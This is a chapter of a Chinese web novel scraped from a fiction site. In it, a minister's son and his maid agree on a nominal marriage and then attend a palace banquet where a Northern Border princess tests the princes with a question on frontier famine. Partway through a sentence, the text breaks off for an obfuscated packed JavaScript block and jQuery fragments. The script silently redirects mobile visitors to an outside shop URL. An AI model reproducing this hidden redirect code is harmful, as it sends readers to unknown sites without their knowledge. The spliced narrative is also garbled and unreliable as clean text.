文趣网 > 其他小说 > 庭深花影重 > 50. 北境来宾
    谢灵均本有几分预感,可真亲耳听见她不愿嫁自己为妻,心下总有几分失落。他虽自小接触女性甚少,却也深知她有着非同寻常的远见与见识。

    “姑娘高义,是我眼界过窄了。”

    “此事就如此说定了。届时我们粗略行个礼,你还拿我当做帮手对待便是。”

    “好。”

    温书猗见他神色已逐渐平和,比方才恢复不少,问道:“公子可知这房里是否还有其他出去的路?再过些许时候,我们如何出去?”

    谢灵均摇首:“这房里门窗皆被锁住,暂时没有出去的路。徐尘被支走,恐怕一时半会回不来。如今只好待我气力恢复,破门而出。”

    “只好如此了。”

    堂堂一个相府大公子竟然被逼到此般境地,属实可笑。

    难怪他会早早对邱姑娘心生好感。

    邱姑娘性格沉静,却敢爱敢恨,谢灵均从小生活在这样的环境中,缺少正常的情感关怀,确实容易喜欢上这样美好的女子。

    思及此,温书猗不由开口:“公子从小如此,开心过吗?”

    谢灵均嘴唇嗫嚅了几下,唇边绽出几分苦涩:“开心也好,不开心也罢,我是相府的大公子,家中总会对我抱有更大期望,我早知我的婚事、子嗣从来不由我掌控。”

    是啊,所以他才不愿接触任何女子,企图以这样的方式对抗家族。他自幼学习君子之道,忠君爱国的观点已然根植于心,无法忤逆违背父母长辈,所能做到的也只有如此了。

    可他终究还是没有参透。

    若手中无劝,谈何自由?谈何自主?

    温书猗叹道:“公子帮相爷分担许多公务,将来权力收拢,您便……”

    谢灵均知她何意,轻笑一声,眼眸亮晶晶的,闪着某种莫名的光:“我知你何意,我先前封闭自固,只懂独善其身,不愿过多卷入官场是非。可如今才知晓,若手中无权,在这偌大的府中,不过空有大公子地位,宛若浮萍飘摇。”

    温书猗轻轻颔首。

    庭院深深锁住的又何止他一人。

    谢灵均也好,谢允均也好,相爷与老夫人也好,还有这满院的婢女侍卫,一个都逃不过。

    只有掌握权力,才有话语权,才能为自己做主。

    “公子有此心,假以时日,定能成事。书猗提前祝公子成功了。”

    “届时还需温姑娘你多多襄助。”

    两人相视一笑,那眼神中流淌着年轻人蠢蠢欲动的野望。

    谢灵均怕温书猗独坐无趣,简短挑了几件近日发生之事说与她听。

    温书猗本就想多了解些朝堂诸事,身子微微往前倾了些,不住地点头。

    话语间谈及几日后北境公主造访,在宫中设宴。

    温书猗眼睛一亮:“公子可否带我一同前去?”

    刚好可以趁这次机会,熟悉熟悉朝堂各位大臣,也许能发现些蛛丝马迹。

    谢灵均闻言有些犹豫:“可以你目前身份,恐怕无法入席与我共同用餐,可能会委屈你。”

    温书猗忙道:“无妨无妨,我就是想跟着公子您见识见识,到时候提前用些餐食便是。”

    谢灵均眼里闪过笑意:“好,那便一同前去。”

    ……

    宫中设宴,百官来朝,灯火如昼。

    大殿按照特定规格礼制摆上数量均等的宫灯,桌案分列左右,摆满珍羞美味,琼浆佳酿。文武百官与宗室皇子随着内侍引导依次入内,衣香鬓影,一派祥和之景。

    饶是见过一些大场面的温书猗也被面前这恢弘景象震撼几分。她身着素色青衣,规规矩矩立在谢灵均身侧半步。

    按照朝廷规矩,婢女无法与官员同席用餐,因此她提前用了些饭,腹中不至于过于饥饿。可香味还是悠悠飘入她的鼻尖,勾得她食指大动。

    谢灵均知她意动,将她唤至身侧。

    “公子?”

    温书猗本以为谢灵均有事交代,可没想到她将将俯身,手中就被塞了几块糕点,小心用帕子包着,丝丝透凉。

    “拿着,将就用些,回去再请你吃好的。”

    天老爷,这还是那个谨遵礼仪的高冷之花谢灵均吗?简直不要太贴心了。

    “多谢公子。”

    当前宴席还未开始,百官相互攀谈,宫人内侍往来频繁,无人注意他们二人这处。

    她才放下心来,寻了个隐蔽的角度,轻轻将糕点塞进嘴里。这糕点不似寻常手艺,入口微凉,而后竟如云朵一般化开,沁出一股木樨的甜香。

    不愧是宫中御厨的手艺,真是从未吃过的人间极味。

    她不敢一下将所有糕点吃完,用绢帕揩了揩嘴,总觉有些异样,似乎有人在盯着她似的,回眸在席间找寻,不经意间,望进一双眼里。

    是楚知珩。

    他今日不再穿着平日极爱的那身素净衣袍,而是换上了皇家子弟常穿的绫罗绸衣,更是衬得他那通身的气度,不似人间寻常儿郎。

    他倒是有几分惬意,见她望来,提起手中茶杯朝她敬了敬,唇边带笑。

    看什么看?

    不就是吃几个糕点,有那么好看吗?

    她回瞪回去,收获他颊边更深的笑意。

    还笑,还笑?

    这楚知珩,换了衣裳后,还似之前一般令人恼怒。

    他轻轻抿一口茶,一位宗室长辈越过桌案,与他私语:“知珩,笑什么呢?难得见你这么开心。”

    楚知珩放下茶盏,随口说道:“今日宫中筵席,心中畅快。”

    那宗室长辈摇摇头,不解地嘟囔道:“宫里不是成天摆宴席吗?又不是第一次参加了,有什么好开心的?真是不懂这些年轻人。”

    不过一盏茶的功夫,众人已如数就位。

    而后皇帝皇后在几个内侍宫女簇拥下,徐徐行至殿前,朗声说了几句客套话,入席坐下。

    皇帝是个体态稍胖的中年男子,眼下两个大眼袋几乎要垂到嘴边去,一副酒色过度的模样。皇后看着倒是端庄和善,嘴角带笑,可那笑容不及眼底,和一个会活动的人偶娃娃似的,了无生气。

    皇帝身边的大太监得了皇帝指示,挺胸昂头,向殿外发出一声高亢绵长的通传:

    “宣北境公主觐见!”

    满殿寂静,所有目光汇成一股,齐齐投向殿门。

    殿门徐徐打开,一道挺拔飒爽的身影踏光而入。

    来人着一身玄色窄袖劲装,长发梳成一个利落的发髻,仅用一枚墨玉固定,利落中带有一丝异域风情。皮肤黝黑却更添风情,目光炯炯,行动如风。

    她行至殿中央,不卑不亢行礼,声音清亮:“臣女陶姝,奉北境王之命,入朝觐见,吾皇万岁万岁万万岁。”

    皇帝捋着他那不长不短的胡须,抬手笑道:“平身,朕久闻北境公主智勇双全,亭亭玉立,今日一见,果然风姿不凡。”

    陶姝起身立在殿中,落落大方:“多谢陛下夸奖。”

    皇帝咧嘴一笑,那眼袋也跟着颤了颤:“早就听闻公主见识广博,堪比女中诸葛。百闻不如一见,朕今日索性破例,许你当庭发问,考考朕的这些皇子宗室。问题不用拘泥,无论时政边事,诗词句对,尽管提问便是。”

    北境乃我朝属国,国如其名,位于北部,国力虽算不上繁盛,可疆域辽阔,族群众人,且诸事由北境王独立自治,算得上是几个最重要的属国之一。

    此次公主觐见,实则为和亲。当今圣上育有三子一女,小儿子年仅一岁便夭折了,剩下的两位皇子中仅有一位在适婚年岁。

    温书猗本以为公主的婚事会直接定给二皇子,可如今一看,皇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845088|207729||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    帝可能另有考量。如此大张旗鼓的提问对答,怕不是要给公主当众选婿了。

    果然,皇帝此言一出,殿中诸位皇室子弟纷纷正襟危坐,暗自收敛神色,等着一展学识。

    陶姝微微颔首,朗声道:

    “既如此,臣女斗胆请教。北境苦寒,霜雪时节无法预测,若是不幸提前,常常致使牧民牛羊死伤惨重,粮价飞涨,人心浮动。若诸位为主事,当如何平稳局势?”

    这问题直白尖锐,直戳北境困境,众人本以为她不过出些诗词句对,当下闻言皆是一惊。

    皇帝嘴角的笑意敛了敛,却还是顺着她的话往下说:“各位千万不要吝啬想法,畅所欲言便是。”

    二皇子率先出列。他十七八岁的样子,面如朗月,仪态端庄,虽为皇帝亲子,从他脸上看不出一丝油腻之气。

    他拱了拱手,说道:“边地灾荒,当以仁政安抚,广施恩惠,教化部族归顺朝廷,便可安定人心。”

    陶姝眸光流转,淡淡反问:“这位殿下说得不错,治国当行仁政。可你口中所言仁政与教化皆需钱粮支撑,若当年收成欠佳,无法从库中大举调拨,又当如何?”

    二皇子微微一顿,接着说道:“当以教化宣导为主,鼓励富庶地区与百姓参与募捐,广集钱粮,待到富裕之年归还便是。再者便是严定粮价,杜绝奸商哄抬。如此开源节流,自可解决。”

    陶姝摇首否决:“北境人员分散,实难做到借粮取还,您的建议虽好,恐怕纸上谈兵,难以实施。”

    二皇子讪讪看了眼皇帝的脸色,见他果然面色不善,浑身一颤,可又实在没有应答之语,只好悻悻坐下了。

    接下来几位宗室子弟轮番作答,要么拘泥中原礼制,不懂边地民情,要么对策偏激,顾此失彼。

    陶姝听完所有作答,轻轻蹙眉,语气带着几分失望:“诸位所言,虽各有所长,精彩纷呈,可皆不适北境实情。”

    诸位皇家宗亲子弟中,再无人能作答。

    可还有一人,迟迟没有出声。

    温书猗的眼神越过众人,望向楚知珩。只见他坐在皇家子弟之席位,一副老神在在的模样,时不时轻轻抿一口茶,吃一口茶点,一点也不将此事放在心上的样子。

    看得久了,他竟也抬眸回望,温书猗连忙错开眼神。

    谢灵均注意到二人异动,微微调整了一下坐姿,挡住楚知珩的视线。

    “公子?”

    “无碍,坐久了,腰部有些酸胀。”

    “唔。”

    谢灵均低声说道:“你若是觉得无趣,一会筵席结束,我带你去宫中散散心。”

    难得见他如此殷勤,温书猗一时有些受宠若惊。

    “不、不必了,我看这问答就挺有趣的。”

    “温姑娘对政务感兴趣?”

    温书猗轻轻颔首:“北境虽边陲,可至关重要。这也是为何皇上愿意让公主当堂发问,择选夫婿的缘故。”

    只是未料她气度非凡,见识长远,倒是让人平白生出几分结交的心思。

    “是的,如今皇室宗亲无人对答,不知如何是好。”

    此时皇帝面上有些挂不住,缓声开口:“方才作答的诸位子弟勇气可嘉,可到底年龄尚浅,欠缺历练,难免思虑不周。在场文武大臣,可有能人作答?”

    北境气候多变,宗族复杂,牵扯甚多,在场多数朝臣久居中原,对其风土人情全然陌生。且方才诸位皇子宗亲已然将他们能想到的大部分答案都说了去,他们再说也说不出什么花儿来,一时间无人敢应声应答。

    气氛凝滞到了极致,落针可闻,皇帝的眼袋也似乎跟着这氛围越发低垂了下来,几欲碰到那颤颤巍巍的胡子。

    就在此时,不远处忽然响起一道张扬自信的声音。

    “陛下,臣有一解!”